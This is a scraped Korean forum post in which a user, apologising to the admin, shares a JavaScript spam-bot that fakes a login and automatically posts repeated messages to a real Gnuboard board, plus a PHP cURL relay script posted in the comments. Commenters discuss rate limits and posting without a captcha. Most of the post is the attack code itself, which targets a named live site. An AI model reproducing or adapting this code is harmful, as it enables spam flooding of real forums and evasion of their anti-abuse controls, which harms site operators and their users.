j

관리자님 죄송합니다. 그냥 테스트해봤어요...

<!-- <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> --> 
<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=utf-8"> 
<title>1 > sdfsdfsdfsdfsdf > 글쓰기</title> 
</head> 
<script type="text/javascript" src="md5.js"></script>
<body topmargin="0" leftmargin="0" > 
<a name="g4_head"></a> 

그누보드에 글을 올려볼까요...

<button id="post_btn" onclick="post(); return false;">새글 올리기</button>

<script type="text/javascript">

function getHttpRequest()
{
var req = null;

if (window.ActiveXObject) {
try {
req = new ActiveXObject("Msxml2.XMLHTTP");   // 5.0 이후 버전   
}
catch(e) {
try {
req = new ActiveXObject("Microsoft.XMLHTTP");  // 5.0 이전 버전
}
catch(e1) {
req = null;
}
}
}
else if (window.XMLHttpRequest) {
try {
req = new XMLHttpRequest();
}
catch (e) {
req = null;
}
}

return req;
}

var data = {
'id': '******',
'name': '********',
'password': '****',
'subject': 'spammer',
'content': 'spam content'
};

var subject_i = 1;
var content_i = 1;

var key = '';

function fakeLogin()
{
var req = getHttpRequest();


var param = 'transport_url=' + encodeURI('http://jobs.sir.co.kr/gnu4/bbs/login_check.php') + '&transport_method=post&transport_noresponse=true';

param += '&mb_id=' + encodeURI(data.id) + '&mb_password=' + encodeURI(data.password);

req.open('POST', url, true);

req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req.setRequestHeader('content-length', param.length);
req.setRequestHeader('Connection', 'close');

req.onreadystatechange = function() {
if (req.readyState == 4) {
if (req.status == 200) {
// do nothing;
//if (req.responseText.length) alert('fakeLogin():\n' + req.responseText);
}
}
};

req.send(param);
}

function get()
{
var req = getHttpRequest();

var url = 'http://localhost/spammer/transport.php?transport_url=' + encodeURI('http://jobs.sir.co.kr/gnu4/bbs/write.php') + '&transport_method=get' + '&bo_table=dsfdfsdfsdsdf';

req.open('GET', url, true);

req.onreadystatechange = function() {
if (req.readyState == 4) {
if (req.status == 200) {
doc_code = req.responseText;
findKey(doc_code);
//alert('get():\n' + doc_code);
}
}
};

req.send(null);
}

function send(subject, content)
{
var req = getHttpRequest();


var param = 'transport_url=' + encodeURI('http://jobs.sir.co.kr/gnu4/bbs/write_update.php') + '&transport_method=post&transport_noresponse=true';

param += '&wr_name=' + encodeURI(data.name) + '&mb_id=' + encodeURI(data.id) + '&mb_password=' + encodeURI(data.password);

if (typeof subject == 'undefined' || !subject.length) {
param += '&wr_subject=' + encodeURI(data.subject + subject_i);
subject_i++;
}
else {
param += '&wr_subject=' + encodeURI(subject);
}
if (typeof content == 'undefined' || !subject.content) {
param += '&wr_content=' + encodeURI(data.content + content_i);
content_i++;
}
else {
param += '&wr_content=' + encodeURI(content);
}

param += '&wr_key=' + encodeURI(key);

param += '&w=&bo_table=dsfdfsdfsdsdf&wr_id=';

req.open('POST', url, true);

req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req.setRequestHeader('content-length', param.length);
req.setRequestHeader('Connection', 'close');

req.onreadystatechange = function() {
if (req.readyState == 4) {
if (req.status == 200) {
// do nothing;
//if (req.responseText.length) alert('send():\n' + req.responseText);
pause(1000);
}
}
};

req.send(param);
}


// 그냥 n millis 동안 멈추기
function pause(numberMillis)
{
var now = new Date();
var exitTime = now.getTime() + numberMillis;

while (true) {
now = new Date();
if (now.getTime() > exitTime) return;
}
}

function post()
{
fakeLogin();

var k;

for (var i = 0; i < 10; i++) {
var j;
while(j != k)
j = Math.floor(Math.random() * 10000) + 1;

//get();
send('테스트' + j, '테스트 본문 ' + j);

k = j;
}

alert('OK');
}

</script>

</body>
</html>
|

댓글 7개

회원가입 -> 로그인 후 보내는 코드라 어떻게 해석을 해야할지 모르겠네요.
코드 감사합니다.
transport.php는 다음과 같습니다:

<?php

// The actual form action
$url = $_REQUEST['transport_url'];

// Submission method
$method = $_REQUEST['transport_method'];

// Query string
$fields = '';

// Prepare the fields for query string, don't include the action URL OR method
if (count($_REQUEST) > 2) {
foreach ($_REQUEST as $key => $value) {
if ($key != 'transport_url' || $key != 'transport_method' || $key != 'transport_noresponse') {
$fields .= $key . '=' . rawurlencode($value) . '&';
}
}
}

// Strip the last comma
$fields = substr($fields, 0, strlen($fields) - 1);

// Initiate cURL
$ch = curl_init();

// Do we need to POST of GET ?
if (strtoupper($method) == 'POST') {
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
}
else {
curl_setopt($ch, CURLOPT_URL, $url . '?' . $fields);
}

// Follow redirects and return the transfer
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

// Get result and close cURL
$result = curl_exec($ch);
curl_close($ch);

// Return the response
if (!isset($_REQUEST['transport_noresponse']) || strtolower($_REQUEST['transport_noresponse']) != 'true')
echo $result;

?>
회원가입은 했는데 로그인 안한 상태에서 보내본 겁니다. 근데 뭐가 문제인지는 몰라도 1개만 올라가요...
시간 제한에 걸렸을 겁니다.
너무 빠른 시간에 글을 올리는 경우죠.
지금의 테스트는 비회원으로 글을 올리는 것을 말합니다.
그리고 테스트 게시판에 글을 올린 거 지우고 싶어도 지우는 버튼이 없어요...
지금 올라간 비회원글은 캡챠 입력없이 올리신 것인가요?
.ㅡㅡ;;
댓글을 작성하시려면 로그인이 필요합니다.

자유게시판

+
제목 글쓴이 날짜 조회
14년 전 조회 1,716
14년 전 조회 1,815
14년 전 조회 1,414
14년 전 조회 2,300
14년 전 조회 2,660
14년 전 조회 1,400
14년 전 조회 1,420
14년 전 조회 1,826
14년 전 조회 1,693
14년 전 조회 1,842
14년 전 조회 2,192
14년 전 조회 1,728
14년 전 조회 1,830
14년 전 조회 1,814
14년 전 조회 3,733
14년 전 조회 4,982
14년 전 조회 1,987
14년 전 조회 2,090
14년 전 조회 1,832
14년 전 조회 1,803
14년 전 조회 1,729
14년 전 조회 1,865
14년 전 조회 2,213
14년 전 조회 2,510
14년 전 조회 2,562
14년 전 조회 1,810
14년 전 조회 1,824
14년 전 조회 1,715
14년 전 조회 3,406
14년 전 조회 1,667